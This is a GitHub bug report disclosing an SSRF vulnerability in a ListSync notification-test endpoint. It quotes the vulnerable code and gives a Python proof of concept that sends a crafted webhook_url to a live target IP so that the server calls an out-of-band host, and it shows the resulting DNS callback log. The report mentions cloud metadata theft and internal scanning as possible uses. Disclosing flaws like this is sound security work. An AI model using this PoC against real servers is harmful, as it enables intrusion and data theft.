Skip to content

[Bug]: SSRF vulnerabilityΒ #79

@NinjaGPT

Description

@NinjaGPT

πŸ› Bug Description

Summary

The POST /api/notifications/test endpoint accepts a user-supplied webhook_url in the request body and passes it directly to requests.post() (or DiscordWebhook) without any URL validation or allowlist check. An attacker sends a crafted JSON payload with webhook_url pointing to an attacker-controlled server. The application issues an outbound HTTP request to that URL, confirmed by DNS callback hits from the server's IP. This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.


Details

  • SOURCE
// list-sync-main/api_server.py#L6858C1-L6968C99
6858β†’async def test_discord_notification(payload: dict = None):
6859β†’    """Send a test Discord notification to verify webhook configuration"""
6860β†’    try:
6861β†’        # Get Discord webhook URL from request body or environment
6862β†’        webhook_url = None
6863β†’        if payload and 'webhook_url' in payload:
6864β†’            webhook_url = payload['webhook_url']
6865β†’        
6866β†’        if not webhook_url:
6867β†’            webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868β†’        
6869β†’        if not webhook_url:
6870β†’            raise HTTPException(
6871β†’                status_code=400, 
6872β†’                detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873β†’            )
6874β†’        
6875β†’        # Try to use the discord-webhook library if available
6876β†’        try:
6877β†’            from discord_webhook import DiscordWebhook, DiscordEmbed
6878β†’            from datetime import datetime
6879β†’            
6880β†’            # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881β†’            webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882β†’            
6883β†’            # Create embed with test message
6884β†’            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885β†’            embed = DiscordEmbed(
6886β†’                title="πŸ§ͺ Discord Integration Test",
6887β†’                description="If you see this message, Discord notifications are working correctly! βœ…",
6888β†’                color=10181046  # Purple color
6889β†’            )
6890β†’            
6891β†’            embed.add_embed_field(
6892β†’                name="Test Time",
6893β†’                value=current_time,
6894β†’                inline=True
6895β†’            )
6896β†’            
6897β†’            embed.add_embed_field(
6898β†’                name="Status",
6899β†’                value="βœ… Connected",
6900β†’                inline=True
6901β†’            )
6902β†’            
6903β†’            embed.set_footer(text="ListSync Notification System")
6904β†’            embed.set_timestamp()
6905β†’            
6906β†’            # Add embed to webhook (only embed, no content)
6907β†’            webhook.add_embed(embed)
6908β†’            
6909β†’            # Send webhook
6910β†’            response = webhook.execute()
6911β†’            
6912β†’            return {
6913β†’                "success": True,
6914β†’                "message": "Test notification sent successfully! Check your Discord channel.",
6915β†’                "timestamp": current_time
6916β†’            }
6917β†’            
6918β†’        except ImportError:
6919β†’            # Fallback to using requests directly
6920β†’            from datetime import datetime
6921β†’            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922β†’            
6923β†’            # Only send embed, no content to avoid duplicate messages
6924β†’            payload = {
6925β†’                "embeds": [{
6926β†’                    "title": "πŸ§ͺ Discord Integration Test",
6927β†’                    "description": "If you see this message, Discord notifications are working correctly! βœ…",
6928β†’                    "color": 10181046,
6929β†’                    "fields": [
6930β†’                        {
6931β†’                            "name": "Test Time",
6932β†’                            "value": current_time,
6933β†’                            "inline": True
6934β†’                        },
6935β†’                        {
6936β†’                            "name": "Status",
6937β†’                            "value": "βœ… Connected",
6938β†’                            "inline": True
6939β†’                        }
6940β†’                    ],
6941β†’                    "footer": {
6942β†’                        "text": "ListSync Notification System"
6943β†’                    },
6944β†’                    "timestamp": datetime.utcnow().isoformat()
6945β†’                }]
6946β†’            }
6947β†’            
6948β†’            response = requests.post(webhook_url, json=payload, timeout=10)
6949β†’            response.raise_for_status()
6950β†’            
6951β†’            return {
6952β†’                "success": True,
6953β†’                "message": "Test notification sent successfully! Check your Discord channel.",
6954β†’                "timestamp": current_time
6955β†’            }
6956β†’        
6957β†’    except requests.exceptions.Timeout:
6958β†’        raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959β†’    except requests.exceptions.RequestException as e:
6960β†’        error_msg = f"Failed to send Discord notification: {str(e)}"
6961β†’        if hasattr(e, 'response') and e.response is not None:
6962β†’            error_msg += f" (Status: {e.response.status_code})"
6963β†’        raise HTTPException(status_code=500, detail=error_msg)
6964β†’    except Exception as e:
6965β†’        import traceback
6966β†’        error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967β†’        logging.error(error_detail)
6968β†’        raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")
  • SINK
// list-sync-main/api_server.py#L6858C1-L6968C99
6858β†’async def test_discord_notification(payload: dict = None):
6859β†’    """Send a test Discord notification to verify webhook configuration"""
6860β†’    try:
6861β†’        # Get Discord webhook URL from request body or environment
6862β†’        webhook_url = None
6863β†’        if payload and 'webhook_url' in payload:
6864β†’            webhook_url = payload['webhook_url']
6865β†’        
6866β†’        if not webhook_url:
6867β†’            webhook_url = os.getenv('DISCORD_WEBHOOK_URL', '')
6868β†’        
6869β†’        if not webhook_url:
6870β†’            raise HTTPException(
6871β†’                status_code=400, 
6872β†’                detail="Discord webhook URL is required. Please provide a webhook URL or set DISCORD_WEBHOOK_URL in your environment variables."
6873β†’            )
6874β†’        
6875β†’        # Try to use the discord-webhook library if available
6876β†’        try:
6877β†’            from discord_webhook import DiscordWebhook, DiscordEmbed
6878β†’            from datetime import datetime
6879β†’            
6880β†’            # Create webhook instance - explicitly set content to None to avoid duplicate messages
6881β†’            webhook = DiscordWebhook(url=webhook_url, username="ListSync Test", content=None)
6882β†’            
6883β†’            # Create embed with test message
6884β†’            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6885β†’            embed = DiscordEmbed(
6886β†’                title="πŸ§ͺ Discord Integration Test",
6887β†’                description="If you see this message, Discord notifications are working correctly! βœ…",
6888β†’                color=10181046  # Purple color
6889β†’            )
6890β†’            
6891β†’            embed.add_embed_field(
6892β†’                name="Test Time",
6893β†’                value=current_time,
6894β†’                inline=True
6895β†’            )
6896β†’            
6897β†’            embed.add_embed_field(
6898β†’                name="Status",
6899β†’                value="βœ… Connected",
6900β†’                inline=True
6901β†’            )
6902β†’            
6903β†’            embed.set_footer(text="ListSync Notification System")
6904β†’            embed.set_timestamp()
6905β†’            
6906β†’            # Add embed to webhook (only embed, no content)
6907β†’            webhook.add_embed(embed)
6908β†’            
6909β†’            # Send webhook
6910β†’            response = webhook.execute()
6911β†’            
6912β†’            return {
6913β†’                "success": True,
6914β†’                "message": "Test notification sent successfully! Check your Discord channel.",
6915β†’                "timestamp": current_time
6916β†’            }
6917β†’            
6918β†’        except ImportError:
6919β†’            # Fallback to using requests directly
6920β†’            from datetime import datetime
6921β†’            current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
6922β†’            
6923β†’            # Only send embed, no content to avoid duplicate messages
6924β†’            payload = {
6925β†’                "embeds": [{
6926β†’                    "title": "πŸ§ͺ Discord Integration Test",
6927β†’                    "description": "If you see this message, Discord notifications are working correctly! βœ…",
6928β†’                    "color": 10181046,
6929β†’                    "fields": [
6930β†’                        {
6931β†’                            "name": "Test Time",
6932β†’                            "value": current_time,
6933β†’                            "inline": True
6934β†’                        },
6935β†’                        {
6936β†’                            "name": "Status",
6937β†’                            "value": "βœ… Connected",
6938β†’                            "inline": True
6939β†’                        }
6940β†’                    ],
6941β†’                    "footer": {
6942β†’                        "text": "ListSync Notification System"
6943β†’                    },
6944β†’                    "timestamp": datetime.utcnow().isoformat()
6945β†’                }]
6946β†’            }
6947β†’            
6948β†’            response = requests.post(webhook_url, json=payload, timeout=10)
6949β†’            response.raise_for_status()
6950β†’            
6951β†’            return {
6952β†’                "success": True,
6953β†’                "message": "Test notification sent successfully! Check your Discord channel.",
6954β†’                "timestamp": current_time
6955β†’            }
6956β†’        
6957β†’    except requests.exceptions.Timeout:
6958β†’        raise HTTPException(status_code=504, detail="Discord webhook request timed out")
6959β†’    except requests.exceptions.RequestException as e:
6960β†’        error_msg = f"Failed to send Discord notification: {str(e)}"
6961β†’        if hasattr(e, 'response') and e.response is not None:
6962β†’            error_msg += f" (Status: {e.response.status_code})"
6963β†’        raise HTTPException(status_code=500, detail=error_msg)
6964β†’    except Exception as e:
6965β†’        import traceback
6966β†’        error_detail = f"Failed to send test notification: {str(e)}\n{traceback.format_exc()}"
6967β†’        logging.error(error_detail)
6968β†’        raise HTTPException(status_code=500, detail=f"Failed to send test notification: {str(e)}")

POC

import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
    """
    Match an API endpoint pattern with a given path.

    This function supports multiple path parameter syntaxes used by different web frameworks:
    - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
    - Angle brackets: '/users/<int:id>' (Flask with converters)
    - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
    - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

    Note: This function performs structural matching only and doesn't validate param types or regex constraints.

    Args:
      pattern (str): The endpoint pattern with parameter placeholders
      path (str): The actual path to match

    Returns:
      bool: True if the path structurally matches the pattern, otherwise False
    """
    pattern = pattern.strip() or '/'
    path = path.strip() or '/'
    if pattern == path:
        return True

    # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
    # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
    pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
    # Support for <param> and <type:param> syntax (Flask with converters)
    pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
    # Support for :param syntax (Express, Koa, Sinatra)
    pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
    # Add start and end anchors to ensure full match
    pattern = f'^{pattern}$'

    match = re.match(pattern, path)
    if match:
        return True
    return False
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        
        if match_api_pattern('/api/notifications/test', urlparse(url).path):
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        else:
            headers = headers or {}
            headers.update({'User-Agent': 'oxpecker'})
            timeout = 30
        return super().request(
            method=method,
            url=url,
            params=params,
            data=data,
            headers=headers,
            cookies=cookies,
            files=files,
            auth=auth,
            timeout=timeout,
            allow_redirects=allow_redirects,
            proxies=proxies,
            hooks=hooks,
            stream=stream,
            verify=verify,
            cert=cert,
            json=json,
        )
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests

# Define the target URL and endpoint
target_url = "http://34.127.19.15:41670/api/notifications/test"

# Set up the OOB URL for testing
oob_url = '$domain:443'

# Craft the payload with the malicious webhook URL
payload = {
    "webhook_url": f"http://{oob_url}/"
}

# Configure the request parameters
headers = {
    "Content-Type": "application/json"
}

# Send the POST request to test the SSRF vulnerability
response = requests.post(
    url=target_url,
    headers=headers,
    json=payload,
    verify=False,
    allow_redirects=False,
    timeout=30.0
)

# Print the results
print(f"Status Code: {response.status_code}")
print(f"Response Text: {response.text}")
# ********************************** Poc End ***********************************
  • OUTPUT
Sandbox Execution Cancelled
++++++++++++++++++++++++++++++++++++ Dnslog ++++++++++++++++++++++++++++++++++++
Request was made from IP: 172.217.46.16, 69.28.61.220, 69.28.61.221
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

πŸ“‹ Expected Behavior

access to trusted URLs

❌ Actual Behavior

This SSRF can be used for internal network scanning, cloud metadata exfiltration (e.g. AWS IMDSv1), or port probing.

πŸ”„ Steps to Reproduce

please check the POC

πŸ’» Operating System

Ubuntu

πŸ”§ Installation Method

Docker

🚨 Error Messages

πŸ› οΈ Affected Areas

  • Synchronization
  • User Interface
  • Data Processing
  • Configuration
  • Performance
  • Other (specify in additional context)

πŸ“ Relevant Log Entries

βš™οΈ Configuration

πŸ“‹ Additional Context

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions